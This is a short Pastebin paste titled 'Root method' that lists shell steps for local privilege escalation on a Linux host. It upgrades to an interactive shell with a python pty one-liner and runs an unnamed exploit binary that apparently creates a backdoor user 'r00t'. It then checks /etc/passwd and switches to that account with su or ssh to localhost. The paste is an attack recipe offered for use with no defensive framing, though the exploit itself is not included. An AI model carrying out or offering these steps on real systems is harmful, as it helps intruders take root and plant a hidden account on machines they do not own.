Himeshvyas26

Root method by h4m4573r

Nov 10th, 2018
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. python -c 'import pty; pty.spawn("/bin/sh")'
  2.  
  3.  
  4. chmod +x exploit
  5.  
  6.  
  7. ./exploit
  8.  
  9. {give password}
  10.  
  11. cat /etc/passwd {to see if user r00t is created or not}
  12.  
  13. su r00t
  14.  
  15. {if asked for password give password}
  16.  
  17.  
  18. if su r00t gives Permission Denied, then try this method:
  19.  
  20. ssh r00t@localhost
  21.  
  22. {if asked for yes/no give yes}
  23.  
  24. {give password}
  25.  
  26. done
Add Comment
Please, Sign In to add comment